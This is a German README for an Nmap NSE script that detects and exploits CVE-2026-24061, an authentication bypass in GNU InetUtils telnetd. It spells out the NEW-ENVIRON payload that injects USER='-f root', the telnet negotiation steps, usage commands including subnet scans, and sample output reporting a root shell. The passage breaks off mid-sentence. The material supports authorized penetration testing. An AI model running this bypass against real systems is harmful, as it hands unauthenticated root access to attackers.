
Das Skript führt eine vollständige Telnet-Aushandlung durch, die die exakte Byte-Sequenz einer echten Telnet-`-a`-Client-Sitzung nachbildet.
Dieses Nmap-NSE-Skript erkennt CVE-2026-24061, eine Authentifizierungsumgehungs-Schwachstelle in GNU InetUtils telnetd der Versionen 1.9.3 bis 2.7.
Durch das Senden einer manipulierten USER-Umgebungsvariable der Form -f <Benutzername> während
der Telnet-Optionsaushandlung kann ein nicht authentifizierter Angreifer eine Shell mit den
Rechten des angegebenen lokalen Benutzers erhalten — einschließlich root — ohne ein
Passwort anzugeben.
Verwendungszweck: Nur für autorisierte Penetrationstests und Schwachstellenbewertungen.
Die Ausführung dieses Skripts gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-24061 |
| Betroffen | GNU InetUtils telnetd 1.9.3 – 2.7 |
| CVSSv3-Wertung | 9.8 Kritisch |
| Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Typ | Authentifizierungsumgehung (CWE-287) |
| Offenlegung | 2026-01-01 |
GNU InetUtils telnetd verwendet die Telnet-NEW-ENVIRON-Option (RFC 1572), um
Umgebungsvariablen vom Client während der Aushandlungsphase zu empfangen. Das
login(1)-Programm wird anschließend mit diesen Variablen aufgerufen.
Die Schwachstelle entsteht, weil telnetd die USER-Variable direkt an
login übergibt, ohne sie zu bereinigen. Das login-Programm unter Linux akzeptiert ein -f <Benutzer>-Flag
mit der Bedeutung „vorauthentifiziert, kein Passwort prüfen". Durch das Injizieren von
USER="-f root" über die NEW-ENVIRON-Nutzlast umgeht der Angreifer die Authentifizierung
vollständig.
Client → Server: IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
Serverantwort: startet login -f root → Root-Shell, kein Passwort erforderlich
| Feld | Wert |
|---|---|
| Dateiname | telnet-vuln-cve-2026-24061.nse |
| Kategorien | vuln, exploit, intrusive |
| Port | TCP/23 (telnet) |
| Getestet auf | Nmap 7.94 / 7.98, Windows & Linux |
Das Skript führt eine vollständige Telnet-Aushandlung durch, die die exakte Bytesequenz
einer echten telnet -a-Client-Sitzung nachbildet (rekonstruiert aus einem Wireshark-Mitschnitt):
DO TTYPE, DO TSPEED, DO ENVIRON, …)WILL TTYPE, WILL LINEMODE, …)SB TSPEED, SB ENVIRON, SB TTYPE)USER='-f <Benutzer>' in die NEW-ENVIRON-IS-NutzlastWILL ECHO / DO BINARY / WONT LINEMODE-SequenzErgebniszustände:
| Zustand | Bedeutung |
|---|---|
EXPLOIT | Shell-Eingabeaufforderung empfangen — Umgehung bestätigt |
LIKELY_VULN | ENV-Nutzlast akzeptiert, keine Passwortabfrage, aber keine Shell-Eingabeaufforderung |
NOT_VULN | Passwortabfrage gesehen, oder Aushandlung nicht abgeschlossen |
# In das Nmap-Skriptverzeichnis kopieren
sudo cp telnet-vuln-cve-2026-24061.nse /usr/share/nmap/scripts/
# Skriptdatenbank aktualisieren
sudo nmap --script-updatedb
# In das Nmap-Skriptverzeichnis kopieren (Pfad bei Bedarf anpassen)
copy telnet-vuln-cve-2026-24061.nse "C:\Program Files (x86)\Nmap\scripts\"
# Skriptdatenbank aktualisieren (als Administrator ausführen)
nmap --script-updatedb
nmap -p 23 --script telnet-vuln-cve-2026-24061 <Ziel>
# Kurzform
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args user=kali <Ziel>
# Mittlere Form
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args telnet-user=kali <Ziel>
# Vollständig qualifiziert
nmap -p 23 --script telnet-vuln-cve-2026-24061 \
--script-args telnet-vuln-cve-2026-24061.user=kali <Ziel>
nmap -p 23 --script telnet-vuln-cve-2026-24061 192.168.1.0/24
nmap -p 23 --script telnet-vuln-cve-2026-24061 -v <Ziel> # ausführlich
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d <Ziel> # Debug
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d2 <Ziel> # vollständige Hex-Ablaufverfolgung
PORT STATE SERVICE
23/tcp open telnet
| telnet-vuln-cve-2026-24061:
| VULNERABLE:
| GNU InetUtils telnetd Authentifizierungsumgehung
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2026-24061
| Risk factor: Critical CVSSv3: 9.8
| Description:
| Der telnetd-Dienst in GNU InetUtils (1.9.3 - 2.7) ermöglicht
| eine Authentifizierungsumgehung über eine manipulierte USER-Umgebungsvariable.
| Das Senden von '-f <Benutzer>' führt zu einer nicht authentifizierten Login-Shell.
| Extra information:
| Authentifizierung umgangen: Shell-Eingabeaufforderung nach dem Injizieren von
| USER='-f root' empfangen -- keine Passwortabfrage wurde angezeigt.
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2026-24061
| https://github.com/JayGLXR/CVE-2026-24061-POC
|_ https://github.com/SafeBreach-Labs/CVE-2026-24061
PORT STATE SERVICE
23/tcp open telnet
(keine Skriptausgabe — NOT_VULN ist standardmäßig still, gemäß Nmap-Konvention)
| Argument | Alias(es) | Standard | Beschreibung |
|---|---|---|---|
telnet-vuln-cve-2026-24061.user | telnet-user, user | root | Benutzername, der über -f injiziert werden soll |
GNU InetUtils telnetd verwendet die Linemode-Aushandlung (RFC 1184), um den
Terminal-E/A-Modus zu bestimmen. Der Server sendet DO LINEMODE früh in der Aushandlung, und der
Client antwortet zunächst mit WILL LINEMODE. Nach dem ENV-Nutzlast-Austausch sendet der Server
WILL ECHO gefolgt von DO BINARY. An diesem Punkt muss der Client
mit WONT LINEMODE antworten, um den Zeichen-für-Zeichen-Modus zu signalisieren — nur dann kann
telnetd die PTY-Einrichtung (ioctl TIOCSWINSZ) abschließen und login starten. Ohne diesen Schritt
protokolliert der Server peer died: Inappropriate ioctl for device und beendet die Verbindung.
Die NSE-Socket-API von Nmap unterscheidet sich von den Standard-Lua-Socket-Konventionen: